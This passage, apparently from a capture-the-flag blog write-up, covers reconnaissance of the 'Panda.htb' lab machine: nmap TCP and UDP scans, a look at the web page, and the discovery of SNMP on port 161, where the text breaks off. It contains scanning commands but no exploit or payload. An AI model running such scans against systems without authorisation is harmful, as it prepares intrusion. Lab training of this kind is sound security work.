TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sCand -sVflags. <o:p\n\nFlags features:<o:p -sC: Scans with default NSE scripts<o:p -sV:\u00a0 Attempts to determine the service version<o:p Command used:<o:pnmap\u00a0 -sC -sV 10.129.26.243<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png From the nmap scan, we have found there were only two ports open, which is port 80and port 22. As usual HTTP serviceis running on port 80 and the SSH service is running on port 22. Http service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest and does not look like vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80. <o:p Enumeration<o:pWe begin enumeration by accessing port 80 over browser. Webpage does not have much interesting things, but we can see domain name is available there which is Panda.htb. Next thing we can analyse what this website made for, and it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and the network monitoring solutions. <o:p URL: htttp://10.129.26.243https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png UDP Port Scan <o:pGot stuck for some time as we did not get any lead to get foothold into the target system, we decided to perform an UDP port scan. When we do normal nmap scan, it only scans TCP ports but not UDP so many time UDP port may lead us to interesting findings. After the completion of the UDP port scan we found that SNMPport is open on its default port which is port 161. Now we can go for the[...]", "creation_timestamp": "2026-09-02T01:01:30.029311Z"}]}